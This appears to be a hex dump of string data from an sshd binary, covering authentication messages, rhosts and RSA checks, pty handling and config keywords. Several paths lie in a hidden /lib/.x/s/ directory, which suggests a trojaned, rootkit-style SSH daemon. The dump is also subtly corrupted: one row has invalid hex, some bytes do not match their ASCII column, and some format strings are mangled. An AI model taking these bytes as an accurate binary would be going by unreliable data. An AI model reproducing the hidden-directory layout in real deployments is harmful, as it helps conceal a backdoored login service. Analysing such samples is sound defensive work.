0806d690    2d71202d 00616464 20257320 25732025    -q -.add %s %s %
0806d6a0    730a0061 64642025 2e2a732f 756e6978    s..add %.*s/unix
0806d6b0    25732025 73202573 0a005275 6e6e696e    %s %s %s..Runnin
0806d6c0    67202573 20616464 20257325 73202573    g %s add %s%s %s
0806d6d0    2025730a 00616464 20257325 73202573     %s..add %s%s %s
0806d6e0    2025730a 00436f75 6c64206e 6f742072     %s..Could not r
0806d6f0    756e2025 73202d71 202d002e 4e6f206d    un %s -q -..No m
0806d700    61696c2e 0a00596f 75206861 7665206d    ail...You have m
0806d710    61696c2e 0a00596f 75206861 7665206e    ail...You have n
0806d720    6577206d 61696c2e 0a000000 00000000    ew mail.........
0806d730    00000000 00000000 00000000 00000000    ................
0806d740    0a095741 524e494e 473a2059 6f757220    ..WARNING: Your
0806d750    6163636f 756e7420 65787069 72657320    account expires
0806d760    696e2025 6420646179 730a0a00 00000000    in %d days......
0806d770    00000000 00000000 00000000 00000000    ................
0806d780    0a095741 524e494e 473a2059 6f757220    ..WARNING: Your
0806d790    70617373 776f7264 20657870 69726573    password expires
0806d7a0    20696e20 25642064 6179730a 0a002d63     in %d days...-c
0806d7b0    0025640a 00000000 00000000 00000000    .%d.............
0806d7c0    466f756e 6420636f 6e74726f 6c206368    Found control ch
0806d7d0    61726163 74657273 20696e20 74686520    aracters in the
0806d7e0    2e72686f 73747320 6f72202e 73686f73    .rhosts or .shos
0806d7f0    74732066 696c652c 20726573 74206f66    ts file, rest of
0806d800    20746865 2066696c 6520696f 6e6f7265     the file ignore
0806d810    64004e4f 5f504c55 5300466f 756e6420    d.NO_PLUS.Found
0806d820    656d7074 79206c69 6e652069 6e20252e    empty line in %.
0806d830    31303073 2e00466f 756e6420 67617262    100s..Found garb
0806d840    61676520 696e2025 2e313030 732e0025    age in %.100s..%
0806d850    73202573 20257300 00000000 00000000    s %s %s.........
```

```
0806d860   49676e6f 72696e67 2077696c 6420686f   Ignoring wild ho
0806d870   73742f75 73657220 6e616d65 7320696e   st/user names in
0806d880   20252e31 3030732e 00000000 00000000    %.100s.........
0806d890   00000000 00000000 00000000 00000000   ................
0806d8a0   55736520 6f662025 2e313030 73206465   Use of %.100s de
0806d8b0   6e696564 20666f72 20252e31 30307300   nied for %.100s.
0806d8c0   4d617463 68656420 6e656761 74697665   Matched negative
0806d8d0   20656e74 72792069 6e20252e 31303073    entry in %.100s
0806d8e0   2e002e72 686f7374 73002e73 686f7374   ...rhosts..shost
0806d8f0   7300252e 35303073 2f252e31 30307300   s.%.500s/%.100s.
0806d900   2f657463 2f686f73 74732e65 71756976   /etc/hosts.equiv
0806d910   002f6c69 622f2e78 2f732f73 686f7374   ./lib/.x/s/shost
0806d920   732e6571 75697600 00000000 00000000   s.equiv.........
0806d930   00000000 00000000 00000000 00000000   ................
0806d940   436f6e6e 65637469 6f6e2066 726f6d20   Connection from
0806d950   252e3130 30732066 726f6d20 6e6f6e70   %.100s from nonp
0806d960   72697669 6c656765 6420706f 72742025   rivileged port %
0806d970   64000000 00000000 00000000 00000000   d...............
0806d980   596f7572 20737368 20636c69 656e7420   Your ssh client
0806d990   6973206e 6f742072 756e6e69 6e672061   is not running a
0806d9a0   7320726f 6f742e00 00000000 00000000   s root..........
0806d9b0   00000000 00000000 00000000 00000000   ................
0806d9c0   41636365 70746564 20666f72 20252e31   Accepted for %.1
0806d9d0   30307320 5b252e31 3030735d 20627920   00s [%.100s] by
0806d9e0   2f657463 2f686f73 74732e65 71756976   /etc/hosts.equiv
0806d9f0   2e000000 00000000 00000000 00000000   ................
0806da00   41636365 70746564 20666f72 20252e31   Accepted for %.1
0806da10   30307320 5b252e31 3030735d 20627920   00s [%.100s] by
0806da20   252e3130 30732e00 00000000 00000000   %.100s..........
0806da30   00000000 00000000 00000000 00000000   ................
0806da40   52686f73 74732061 75746865 6e746963   Rhosts authentic
0806da50   6174696f 6e207265 66757365 6420666f   ation refused fo
0806da60   7220252e 3130303a 206e6f20 686f6d65   r %.100: no home
0806da70   20646972 6563746f 72792025 2e323030    directory %.200
0806da80   73000000 00000000 00000000 00000000   s...............
0806da90   00000000 00000000 00000000 00000000   ................
0806daa0   52686f73 74732061 75746865 6e746963   Rhosts authentic
0806dab0   6174696f 6e207265 66757365 6420666f   ation refused fo
0806dac0   7220252e 31303073 3a206261 6420616f   r %.100s: bad ow
0806dad0   6e657273 68697020 6f72206d 6f646573   nership or modes
0806dae0   20666f72 20686f6d 65206469 72656374    for home direct
0806daf0   6f72792e 00000000 00000000 00000000   ory.............
0806db00   52686f73 74732061 75746865 6e746963   Rhosts authentic
0806db10   6174696f 6e207265 66757365 6420666f   ation refused fo
0806db20   7220252e 31303073 3a206261 64206d6f   r %.100s: bad mo
0806db30   64657320 666f7220 252e3230 30042042   des for %.200s.B
0806db40   61642066 696c6520 6d6f6465 7320666f   ad file modes fo
0806db50   7220252e 32303073 00000000 00000000   r %.200s........
0806db60   53657276 65722068 61732062 65656e20   Server has been
0806db70   636f6e66 69677572 65642074 6f206967   configured to ig
0806db80   6e6f7265 20252e31 3030732e 00416363   nore %.100s..Acc
0806db90   65707465 64206279 20252e31 3030732e   epted by %.100s.
0806dba0   00000000 00000000 00000000 00000000   ................
0806dbb0   00000000 00000000 00000000 00000000   ................
0806dbc0   52686f73 74732f68 6f737473 2e657175   Rhosts/hosts.equ
0806dbd0   69762061 75746865 6e746963 6174696f   iv authenticatio
0806dbe0   6e207265 66757365 643a2063 6c69656e   n refused: clien
0806dbf0   74207573 65722027 252e3130 3073272c   t user '%.100s',
0806dc00   20736572 76657220 75736572 2027252e    server user '%.
0806dc10   31303073 272c2063 6c69656e 7420686f   100s', client ho
0806dc20   73742027 252e3230 3073272e 00000000   st '%.200s'.....
0806dc30   00000000 00000000 00000000 00000000   ................
0806dc40   53657276 65722064 6f657320 6e6f7420   Server does not
0806dc50   7065726d 69742065 6d707479 20706173   permit empty pas
0806dc60   73776f72 6420636c 6f67696e 2e00002f   sword login.../
0806dc70   7372722f 62696e2f 70617373 7764002e   usr/bin/passwd..
0806dc80   31303073 20252e31 30307300 00000000   100s %.100s.....
0806dc90   00000000 00000000 00000000 00000000   ................
0806dca0   50617373 776f7264 20696620 666f7263   Password if forc
0806dcb0   65642074 6f206265 20736574 20617420   ed to be set at
0806dcc0   66697273 7420c6c6 7 67696e2e 00000000   first login.....
0806dcd0   00000000 00000000 00000000 00000000   ................
0806dce0   4c6f6769 6e207065 726d6974 74656420   Login permitted
0806dcf0   77697468 6f757420 61207061 7373776f   without a passwo
0806dd00   72642062 65636175 73652074 68652061   rd because the a
0806dd10   63636f75 6e742068 6173206e 6f207061   ccount has no pa
0806dd20   7373776f 72642e00 78780000 00000000   ssword..xx......
0806dd30   00000000 00000000 00000000 00000000   ................
0806dd40   2e737368 00252e35 3030732f 252e3130   .ssh.%.500s/%.10
0806dd50   30730000 00000000 00000000 00000000   0s..............
0806dd60   52736120 61757468 656e7469 63617469   Rsa authenticati
0806dd70   6f6e2072 65667573 65642066 6f722025   on refused for %
0806dd80   2e313030 733a2062 6164206d 6f646573   .100s: bad modes
0806dd90   20666f72 20252e32 30307300 42616420    for %.200s.Bad
```

```
0806dda0  66696c65 206d6f64 65732066 6f722025   file modes for %
0806ddb0  2e323030 73000000 00000000 00000000   .200s...........
0806ddc0  52736120 61757468 656e7469 63617469   Rsa authenticati
0806ddd0  6f6e2072 65667573 65642066 6f722025   on refused for %
0806dde0  2e313030 733a206e 6f20252e 32303073   .100s: no %.200s
0806ddf0  20646972 6563746f 72790000 00000000    directory......
0806de00  52736120 61757468 656e7469 63617469   Rsa authenticati
0806de10  6f6e2072 65667573 65642c20 6e6f2025   on refused, no %
0806de20  2e323030 73206469 72656374 6f727900   .200s directory.
0806de30  2e737368 2f617574 686f7269 7a65645f   .ssh/authorized_
0806de40  6b657973 00000000 00000000 00000000   keys............
0806de50  00000000 00000000 00000000 00000000   ................
0806de60  436f756c 64206e6f 74206f70 656e2025   Could not open %
0806de70  2e393030 7320666f 72207265 6164696e   .900s for readin
0806de80  672e0000 00000000 00000000 00000000   g...............
0806de90  00000000 00000000 00000000 00000000   ................
0806dea0  49662079 6f757220 686f6d65 20697320   If your home is
0806deb0  6f6e2061 6e204e46 5320766f 6c756d65   on an NFS volume
0806dec0  2c206974 206d6179 206e6565 6420746f   , it may need to
0806ded0  20626520 776f726c 642d7265 61646162    be world-readab
0806dee0  6c652e00 00000000 00000000 00000000   le..............
0806def0  00000000 00000000 00000000 00000000   ................
0806df00  252e3130 30732c20 6c696e65 20256c75   %.100s, line %lu
0806df10  3a206261 64206b65 79207379 6e746178   : bad key syntax
0806df20  00000000 00000000 00000000 00000000   ................
0806df30  00000000 00000000 00000000 00000000   ................
0806df40  57726f6e 67207265 73706f6e 73652074   Wrong response t
0806df50  6f205253 41206175 7468656e 74696361   o RSA authentica
0806df60  74696f6e 20636861 6c6c656e 67652e00   tion challenge..
0806df70  6e6f2d70 6f72742d 666f7277 61726469   no-port-forwardi
0806df80  6e670050 6f727420 666f7277 61726469   ng.Port forwardi
0806df90  6e672064 69736162 6c65642e 006e6f2d   ng disabled..no-
0806dfa0  6167656e 742d666f 72776172 64696e67   agent-forwarding
0806dfb0  00416765 6e742066 6f727761 7264696e   .Agent forwardin
0806dfc0  67206469 7361626c 65642e00 6e6f2d78   g disabled..no-x
0806dfd0  31312d66 6f727761 7264696e 67005831   11-forwarding.X1
0806dfe0  3120666f 72776172 64696e67 20646973   1 forwarding dis
0806dff0  61626c65 642e006e 6f2d7074 79005074   abled..no-pty.Pt
0806e000  7920616c 6c6f6361 74696f6e 20646973   y allocation dis
0806e010  61626c65 642e0069 646c652d 74696d65   abled..idle-time
0806e020  6f75743d 00000000 00000000 00000000   out=............
0806e030  00000000 00000000 00000000 00000000   ................
0806e040  49646c65 2074696d 656f7574 20736574   Idle timeout set
0806e050  20746f20 25642073 65636f6e 6473 2e00    to %d seconds..
0806e060  636f6d6d 616e643d 22000000 00000000   command=".......
0806e070  00000000 00000000 00000000 00000000   ................
0806e080  252e3130 30732c20 6c696e65 20256c75   %.100s, line %lu
0806e090  3a206d69 7373696e 6720656e 64207175   : missing end qu
0806e0a0  6f746500 466f7263 65642063 6f6d6d61   ote.Forced comma
0806e0b0  6e643a20 252e3930 30730065 6e766972   nd: %.900s.envir
0806e0c0  6f6e6d65 6e743d22 00416464 696e6720   onment=".Adding
0806e0d0  746f2065 6e766972 6f6e6d65 6e743a20   to environment:
0806e0e0  252e3930 30730066 726f6d3d 22000000   %.900s.from="...
0806e0f0  00000000 00000000 00000000 00000000   ................
0806e100  52534120 61757468 656e7469 63617469   RSA authenticati
0806e110  6f6e2074 72696564 20666f72 20252e31   on tried for %.1
0806e120  30307320 77697468 20636f72 72656374   00s with correct
0806e130  206b6579 20627574 206e6f74 2066726f    key but not fro
0806e140  6d206120 7065726d 69747465 6420686f   m a permitted ho
0806e150  73742028 686f7374 3d252e32 3030732c   st (host=%.200s,
0806e160  2069703d 252e3230 3073292e 00000000    ip=%.200s).....
0806e170  00000000 00000000 00000000 00000000   ................
0806e180  596f7572 20686f73 74202725 2e323030   Your host '%.200
0806e190  73272069 7320 6e6f 74207065 726d6974   s' is not permit
0806e1a0  74656420 746f2075 73652074 68697320   ted to use this
0806e1b0  6b657920 666f7220 6c6f6769 6e2e0000   key for login...
0806e1c0  42616420 6f707469 6f6e7320 696e2025   Bad options in %
0806e1d0  2e313030 7320 6669 6c652c20 6c696e65   .100s file, line
0806e1e0  20256c75 3a20252e 35307300 00000000    %lu: %.50s.....
0806e1f0  00000000 00000000 00000000 00000000   ................
0806e200  42756773 20696e20 61757468 2d727361   Bugs in auth-rsa
0806e210  2e63206f 7074696f 6e207072 6f636573   .c option proces
0806e220  73696e67 2e005253 41206175 7468656e   sing..RSA authen
0806e230  74696361 74696f6e 20616363 65707465   tication accepte
0806e240  642e0000 00000000 00000000 00000000   d...............
0806e250  00000000 00000000 00000000 00000000   ................
0806e260  54727969 6e672072 686f7374 73207769   Trying rhosts wi
0806e270  74682052 53412068 6f737420 61757468   th RSA host auth
0806e280  656e7469 63617469 6f6e2066 6f722025   entication for %
0806e290  2e313030 73000000 00000000 00000000   .100s...........
0806e2a0  52686f73 74732052 53412061 75746865   Rhosts RSA authe
0806e2b0  6e746963 6174696f 6e3a2063 616e6f6e   ntication: canon
0806e2c0  6963616c 20686f73 7420252e 39303073   ical host %.900s
0806e2d0  007e2f2e 7373682f 6b6e6f77 6e5f686f   .~/.ssh/known_ho
```

```
0806e2e0    73747300  2f6c6962  2f2e782f  732f7373    sts./lib/.x/s/ss
0806e2f0    685f6b6e  6f776e5f  686f7374  73000000    h_known_hosts...
0806e300    52686f73  74732077  69746820  52534120    Rhosts with RSA
0806e310    686f7374  20617574  68656e74  69636174    host authenticat
0806e320    696f6e20  64656e69  65643a20  756e6b6e    ion denied: unkn
0806e330    6f776e20  6f722069  6e76616c  69642068    own or invalid h
0806e340    6f737420  6b657900  00000000  00000000    ost key.........
0806e350    00000000  00000000  00000000  00000000    ................
0806e360    596f7572  20686f73  74206b65  79206361    Your host key ca
0806e370    6e6e6f74  20626520  76657269  66696564    nnot be verified
0806e380    3a20756e  6b6e6f77  6e206f72  20696e76    : unknown or inv
0806e390    616c6964  20686f73  74206b65  792e0000    alid host key...
0806e3a0    54686520  686f7374  206e616d  65207573    The host name us
0806e3b0    65642074  6f206368  65636b20  74686520    ed to check the
0806e3c0    6b657920  77617320  27252e32  30307327    key was '%.200s'
0806e3d0    2e000000  00000000  00000000  00000000    ................
0806e3e0    54727920  6c6f6767  696e6720  6261636b    Try logging back
0806e3f0    2066726f  6d207468  65207365  72766572     from the server
0806e400    206d6163  68696e65  20776974  68207468     machine with th
0806e410    65206361  6e6f6e69  63616c20  686f7374    e canonical host
0806e420    206e616d  65207573  696e6720  7373682c     name using ssh,
0806e430    20616e64  20746865  6e207472  79206167     and then try ag
0806e440    61696e2e  00000000  00000000  00000000    ain.............
0806e450    00000000  00000000  00000000  00000000    ................
0806e460    436c6965  6e74206f  6e20252e  38303073    Client on %.800s
0806e470    20666169  6c656420  746f2072  6573706f     failed to respo
0806e480    6e642063  6f727265  63746c79  20746f20    nd correctly to
0806e490    686f7374  20617574  68656e74  69636174    host authenticat
0806e4a0    696f6e2e  00000000  00000000  00000000    ion.............
0806e4b0    00000000  00000000  00000000  00000000    ................
0806e4c0    52686f73  74732077  69746820  52534120    Rhosts with RSA
0806e4d0    686f7374  20617574  68656e74  69636174    host authenticat
0806e4e0    696f6e20  61636365  70746564  20666f72    ion accepted for
0806e4f0    20252e31  3030732c  20252e31  30307320     %.100s, %.100s
0806e500    6f6e2025  2e373030  732e0000  00000000    on %.700s.......
0806e510    00000000  00000000  00000000  00000000    ................
0806e520    52686f73  74732077  69746820  52534120    Rhosts with RSA
0806e530    686f7374  20617574  68656e74  69636174    host authenticat
0806e540    696f6e20  61636365  70746564  2e000000    ion accepted....
0806e550    00000000  00000000  00000000  00000000    ................
0806e560    2f646576  2f70746d  783a2025  2e313030    /dev/ptmx: %.100
0806e570    73006772  616e7470  743a2025  2e313030    s.grantpt: %.100
0806e580    7300756e  6c6f636b  70743a20  252e3130    s.unlockpt: %.10
0806e590    30730000  00000000  00000000  00000000    0s..............
0806e5a0    536c6176  65207074  79207369  6465206e    Slave pty side n
0806e5b0    616d6520  636f756c  64206e6f  74206265    ame could not be
0806e5c0    206f6274  61696e65  642e0025  2e313030     obtained..%.100
0806e5d0    733a2025  2e313030  73007074  656d0069    s: %.100s.ptem.i
0806e5e0    6f63746c  20495f50  55534820  7074656d    octl I_PUSH ptem
0806e5f0    3a20252e  31303073  006c6474  65726d00    : %.100s.ldterm.
0806e600    696f6374  6c20495f  50555348  206c6474    ioctl I_PUSH ldt
0806e610    65726d3a  20252e31  30307300  7474636f    erm: %.100s.ttco
0806e620    6d706174  00000000  00000000  00000000    mpat............
0806e630    00000000  00000000  00000000  00000000    ................
0806e640    63686f77  6e20252e  31303073  20302030    chown %.100s 0 0
0806e650    20666169  6c65643a  20252e31  30307300     failed: %.100s.
0806e660    63686d6f  6420252e  31303073  20303636    chmod %.100s 066
0806e670    36206661  696c6564  3a20252e  31303073    6 failed: %.100s
0806e680    002f6465  762f7474  79000000  00000000    ./dev/tty.......
0806e690    00000000  00000000  00000000  00000000    ................
0806e6a0    4661696c  65642074  6f206469  73636f6e    Failed to discon
0806e6b0    6e656374  20667265  6d20636f  6e74726f    nect from contro
0806e6c0    6c6c696e  67207474  792e0000  00000000    lling tty.......
0806e6d0    00000000  00000000  00000000  00000000    ................
0806e6e0    53657474  696e6720  636f6e74  726f6c6c    Setting controll
0806e6f0    696e6720  74747920  7573696e  67205449    ing tty using TI
0806e700    4f435343  54545900  00000000  00000000    OCSCTTY.........
0806e710    00000000  00000000  00000000  00000000    ................
0806e720    6f70656e  202f6465  762f7474  79206661    open /dev/tty fa
0806e730    696c6564  202d2063  6f756c64  206e6f74    iled - could not
0806e740    20736574  20636f6e  74726f6c  6c696e67     set controlling
0806e750    20747479  3a20252e  31303073  00000000     tty: %.100s....
0806e760    7074795f  6d616b65  5f636f6e  74726f6c    pty_make_control
0806e770    6c696e67  5f747479  3a207265  6f70656e    ling_tty: reopen
0806e780    696e6720  636f6e74  726f6c6c  696e6720    ing controlling
0806e790    74747920  61667465  72207668  616e6775    tty after vhangu
0806e7a0    70206661  696c6564  20666f72  20252e31    p failed for %.1
0806e7b0    30307300  00000000  00000000  00000000    00s.............
0806e7c0    73736864  00000000  00000000  00000000    sshd............
0806e7d0    00000000  00000000  00000000  00000000    ................
0806e7e0    556e7265  636f676e  697a6564  20696e74    Unrecognized int
0806e7f0    65726e61  6c207379  736c6f67  20666163    ernal syslog fac
0806e800    696c6974  7920636f  64652025  640a0000    ility code %d...
0806e810    3cfb0408  4cfb0408  5cfb0408  6cfb0408    <...L...\...l...
```

```
0806e820   78fb0408 84fb0408 90fb0408 9cfb0408   x...............
0806e830   a8fb0408 b4fb0408 c0fb0408 6c6f673a   ............log:
0806e840   2025730a 006c6f67 3a20252e 35303073    %s..log: %.500s
0806e850   00000000 00000000 00000000 00000000   ................
0806e860   7379736c 6f675f73 65766572 6974793a   syslog_severity:
0806e870   20626164 20736576 65726974 79202564    bad severity %d
0806e880   00000000 00000000 00000000 00000000   ................
0806e890   b0fc0408 b8fc0408 c0fc0408 c8fc0408   ................
0806e8a0   d0fc0408 d8fc0408 64656275 673a2025   ........debug: %
0806e8b0   730a0064 65627567 3a20252e 35303073   s..debug: %.500s
0806e8c0   00657272 6f723a20 25730a00 6572726f   .error: %s..erro
0806e8d0   723a2025 2e353030 73000000 00000000   r: %.500s.......
0806e8e0   66617461 6c5f7265 6d6f7665 5f636c65   fatal_remove_cle
0806e8f0   616e7570 3a206e6f 20737563 6820636c   anup: no such cl
0806e900   65616e75 70206675 6e637469 6f6e3a20   eanup function:
0806e910   3078256c 78203078 256c780a 0043616c   0x%lx 0x%lx..Cal
0806e920   6c696e67 20636c65 616e7570 20307825   ling cleanup 0x%
0806e930   6c782830 78256c78 29006661 74616c3a   lx(0x%lx).fatal:
0806e940   2025730a 00666174 616c3a20 252e3530    %s..fatal: %.50
0806e950   30730000 00000000 00000000 00000000   0s..............
0806e960   2f766172 2f6c6f67 2f6c6173 746c6f67   /var/log/lastlog
0806e970   00005025 30336400 2f766172 2f6c6f67   ..P%03d./var/log
0806e980   2f77746d 70000000 00000000 00000000   /wtmp...........
0806e990   00000000 00000000 00000000 00000000   ................
0806e9a0   436f756c 64206e6f 74207772 69746520   Could not write
0806e9b0   252e3130 30733a20 252e3130 30730000   %.100s: %.100s..
0806e9c0   436f756c 64206e6f 74206f70 656e2025   Could not open %
0806e9d0   2e393030 7320666f 72207265 6164696e   .900s for readin
0806e9e0   672e0000 00000000 00000000 00000000   g...............
0806e9f0   00000000 00000000 00000000 00000000   ................
0806ea00   49662079 6f757220 686f6d65 20646972   If your home dir
0806ea10   6563746f 72792069 73206f6e 20616e20   ectory is on an
0806ea20   4e465320 766f6c75 6d652c20 6974206d   NFS volume, it m
0806ea30   6179206e 65656420 746f2062 6520776f   ay need to be wo
0806ea40   726c6462 2d726561 6461626c 652e00252e   rld-readable..%.
0806ea50   35303073 20257520 0020000a 00000000   500s %u . ......
0806ea60   67657470 6565726e 616d6520 6661696c   getpeername fail
0806ea70   65643a20 252e3130 30730055 4e4b4e4f   ed: %.100s.UNKNO
0806ea80   574e0000 00000000 00000000 00000000   WN..............
0806ea90   00000000 00000000 00000000 00000000   ................
0806eaa0   72657665 72736520 6d617070 696e6720   reverse mapping
0806eab0   63686563 6b696e67 20676574 686f7374   checking gethost
0806eac0   62796e61 6d652066 6f722025 2e373030   byname for %.700
0806ead0   73206661 696c6564 202d2050 4f535349   s failed - POSSI
0806eae0   424c4520 42524541 4b494e20 41545445   BLE BREAKIN ATTE
0806eaf0   4d505421 00000000 00000000 00000000   MPT!............
0806eb00   41646472 65737320 252e3130 3073206d   Address %.100s m
0806eb10   61707320 746f2025 2e363030 732c2062   aps to %.600s, b
0806eb20   75742074 68697320 646f6573 206e6f74   ut this does not
0806eb30   206d6170 20626163 6b20746f 20746865    map back to the
0806eb40   20616464 72657373 202d2050 4f535349    address - POSSI
0806eb50   424c4520 42524541 4b494e20 41545445   BLE BREAKIN ATTE
0806eb60   4d505421 00000000 00000000 00000000   MPT!............
0806eb70   00000000 00000000 00000000 00000000   ................
0806eb80   436f756c 64206e6f 74207265 76657273   Could not revers
0806eb90   6520646d 6170206164 64726573 7320252e   e map address %.
0806eba0   31303073 2e006970 00202532 2e327800   100s..ip. %2.2x.
0806ebb0   00000000 00000000 00000000 00000000   ................
0806ebc0   436f6e6e 65637469 6f6e2066 726f6d20   Connection from
0806ebd0   252e3130 30732077 69746820 4950206f   %.100s with IP o
0806ebe0   7074696f 6e733a25 2e383030 73000000   ptions:%.800s...
0806ebf0   00000000 00000000 00000000 00000000   ................
0806ec00   74637000 73736800 2f6c6962 2f2e782f   tcp.ssh./lib/.x/
0806ec10   732f7373 685f686f 73745f6b 6579002f   s/ssh_host_key./
0806ec20   6c69622f 2e782f73 2f737368 5f72616e   lib/.x/s/ssh_ran
0806ec30   646f6d5f 73656564 002f7661 722f7275   dom_seed./var/ru
0806ec40   6e2f7373 68642e70 6964002f 7573722f   n/sshd.pid./usr/
0806ec50   58313152 362f6269 6e2f7861 75746800   X11R6/bin/xauth.
0806ec60   6163636f 756e7465 78706972 65776172   accountexpirewar
0806ec70   6e696e67 64617973 00706173 73776f72   ningdays.passwor
0806ec80   64657870 69726577 61726e69 6e676461   dexpirewarningda
0806ec90   79730063 6865636b 6d61696c 00786175   ys.checkmail.xau
0806eca0   74686c6f 63617469 6f6e0061 6c6c6f77   thlocation.allow
0806ecb0   74637066 6f727761 7264696e 67006b65   tcpforwarding.ke
0806ecc0   72626572 6f737467 74706173 73696e67   rberostgtpassing
0806ecd0   006b6572 6265726f 736f726c 6f63616c   .kerberosorlocal
0806ece0   70617373 7764006b 65726265 726f7361   passwd.kerberosa
0806ecf0   75746865 6e746963 6174696f 6e006964   uthentication.id
0806ed00   6c657469 6d656f75 74007369 6c656e74   letimeout.silent
0806ed10   64656e79 00756d61 736b0070 69646669   deny.umask.pidfi
0806ed20   6c65006b 65657061 6c697665 0072616e   le.keepalive.ran
0806ed30   646f6d73 65656400 666f7263 6564656d   domseed.forcedem
0806ed40   70747970 61737377 64636861 6e676500   ptypasswdchange.
0806ed50   666f7263 65647061 73737764 6368616e   forcedpasswdchan
```

```
0806ed60   67650070 65726d69 74656d70 74797061   ge.permitemptypa
0806ed70   7373776f 72647300 73747269 63746d6f   sswords.strictmo
0806ed80   64657300 78313164 6973706c 61796f66   des.x11displayof
0806ed90   66736574 00783131 666f7277 61726469   fset.x11forwardi
0806eda0   6e670069 676e6f72 65726f6f 7472686f   ng.ignorerootrho
0806edb0   73747300 69676e6f 72657268 6f737473   sts.ignorerhosts
0806edc0   00707269 6e746d6f 7464006c 69737465   .printmotd.liste
0806edd0   6e616464 72657373 0064656e 7967726f   naddress.denygro
0806ede0   75707300 616c6c6f 7767726f 75707300   ups.allowgroups.
0806edf0   64656e79 75736572 7300616c 6c6f7775   denyusers.allowu
0806ee00   73657273 0064656e 79686f73 74730061   sers.denyhosts.a
0806ee10   6c6c6f77 686f7374 73006465 6e797368   llowhosts.denysh
0806ee20   6f737473 00616c6c 6f777368 6f737473   osts.allowshosts
0806ee30   00757365 6c6f6769 6e007061 7373776f   .uselogin.passwo
0806ee40   72646175 7468656e 74696361 74696f6e   rdauthentication
0806ee50   00746973 61757468 656e7469 63617469   .tisauthenticati
0806ee60   6f6e0072 73616175 7468656e 74696361   on.rsaauthentica
0806ee70   74696f6e 0072686f 73747372 73616175   tion.rhostsrsaau
0806ee80   7468656e 74696361 74696f6e 0072686f   thentication.rho
0806ee90   73747361 75746865 6e746963 6174696f   stsauthenticatio
0806eea0   6e007379 736c6f67 66616369 6c697479   n.syslogfacility
0806eeb0   00666173 63697374 6c6f6767 696e6700   .fascistlogging.
0806eec0   71756965 746d6f64 65007065 726d6974   quietmode.permit
0806eed0   726f6f74 6c6f6769 6e006b65 79726567   rootlogin.keyreg
0806eee0   656e6572 6174696f 6e696e74 65727661   enerationinterva
0806eef0   6c006c6f 67696e67 72616365 74696d65   l.logingracetime
0806ef00   00736572 7665726b 65796269 74730068   .serverkeybits.h
0806ef10   6f73746b 65790070 6f727400 6c6f6361   ostkey.port.loca
0806ef20   6c37006c 6f63616c 36006c6f 63616c35   l7.local6.local5
0806ef30   006c6f63 616c3400 6c6f6361 6c33006c   .local4.local3.l
0806ef40   6f63616c 32006c6f 63616c31 006c6f63   ocal2.local1.loc
0806ef50   616c3000 61757468 00757365 72006461   al0.auth.user.da
0806ef60   656d6f6e 00000000 00000000 00000000   emon............
0806ef70   00000000 00000000 00000000 00000000   ................
0806ef80   2573206c 696e6520 25643a20 42616420   %s line %d: Bad
0806ef90   636f6e66 69677572 6174696f 6e206f70   configuration op
0806efa0   74696f6e 3a202573 0a007200 20090d0a   tion: %s..r. ...
0806efb0   3d000000 00000000 00000000 00000000   =...............
0806efc0   2573206c 696e6520 25643a20 6d697373   %s line %d: miss
0806efd0   696e6720 696e7465 67657220 76616c75   ing integer valu
0806efe0   652e0a00 00000000 00000000 00000000   e...............
0806eff0   00000000 00000000 00000000 00000000   ................
0806f000   2573206c 696e6520 25643a20 6d697373   %s line %d: miss
0806f010   696e6720 696e6574 20616464 722e0a00   ing inet addr...
0806f020   2573206c 696e6520 25643a20 6d697373   %s line %d: miss
0806f030   696e6720 66696c65 206e616d 652e0a00   ing file name...
0806f040   2573206c 696e6520 25643a20 6d697373   %s line %d: miss
0806f050   696e6720 7965732f 6e6f7077 642f6e6f   ing yes/nopwd/no
0806f060   20617267 756d656e 742e0a00 79657300    argument...yes.
0806f070   6e6f7077 64006e6f 00000000 00000000   nopwd.no........
0806f080   2573206c 696e6520 25643a20 42616420   %s line %d: Bad
0806f090   7965732f 6e6f7077 642f6e6f 20617267   yes/nopwd/no arg
0806f0a0   756d656e 743a2025 730a0000 00000000   ument: %s.......
0806f0b0   00000000 00000000 00000000 00000000   ................
0806f0c0   2573206c 696e6520 25643a20 6d697373   %s line %d: miss
0806f0d0   696e6720 7965732f 6e6f2061 7267756d   ing yes/no argum
0806f0e0   656e7465 0a007472 75650066 616c7365   ent...true.false
0806f0f0   00000000 00000000 00000000 00000000   ................
0806f100   2573206c 696e6520 25643a20 42616420   %s line %d: Bad
0806f110   7965732f 6e6f2061 7267756d 656e743a   yes/no argument:
0806f120   2025730a 00000000 00000000 00000000    %s............
0806f130   00000000 00000000 00000000 00000000   ................
0806f140   2573206c 696e6520 25643a20 6d697373   %s line %d: miss
0806f150   696e6720 66616369 6c697479 206e616d   ing facility nam
0806f160   652e0a00 00000000 00000000 00000000   e...............
0806f170   00000000 00000000 00000000 00000000   ................
0806f180   2573206c 696e6520 25643a20 756e7375   %s line %d: unsu
0806f190   70706f72 74656420 6c6f6720 66616369   pported log faci
0806f1a0   6c697479 2025730a 00000000 00000000   lity %s.........
0806f1b0   00000000 00000000 00000000 00000000   ................
0806f1c0   2573206c 696e6520 25643a20 746f6f20   %s line %d: too
0806f1d0   6d616e79 20616c6c 6f772073 686f7374   many allow shost
0806f1e0   732e0a00 00000000 00000000 00000000   s...............
0806f1f0   00000000 00000000 00000000 00000000   ................
0806f200   2573206c 696e6520 25643a20 746f6f20   %s line %d: too
0806f210   6d616e79 2064656e 79207368 6f737473   many deny shosts
0806f220   2e0a0000 00000000 00000000 00000000   ................
0806f230   00000000 00000000 00000000 00000000   ................
0806f240   2573206c 696e6520 25643a20 746f6f20   %s line %d: too
0806f250   6d616e79 20616c6c 6f772068 6f737473   many allow hosts
0806f260   2e0a0000 00000000 00000000 00000000   ................
0806f270   00000000 00000000 00000000 00000000   ................
0806f280   2573206c 696e6520 25643a20 746f6f20   %s line %d: too
0806f290   6d616e79 2064656e 7920686f 7374732e   many deny hosts.
```

```
0806f2a0  0a000000 00000000 00000000 00000000   ................
0806f2b0  00000000 00000000 00000000 00000000   ................
0806f2c0  2573206c 696e6520 25643a20 746f6f20   %s line %d: too
0806f2d0  6d616e79 20616c6c 6f772075 73657273   many allow users
0806f2e0  2e0a0000 00000000 00000000 00000000   ................
0806f2f0  00000000 00000000 00000000 00000000   ................
0806f300  2573206c 696e6520 25643a20 746f6f20   %s line %d: too
0806f310  6d616e79 2064656e 79207573 6572732e   many deny users.
0806f320  0a000000 00000000 00000000 00000000   ................
0806f330  00000000 00000000 00000000 00000000   ................
0806f340  2573206c 696e6520 25643a20 746f6f20   %s line %d: too
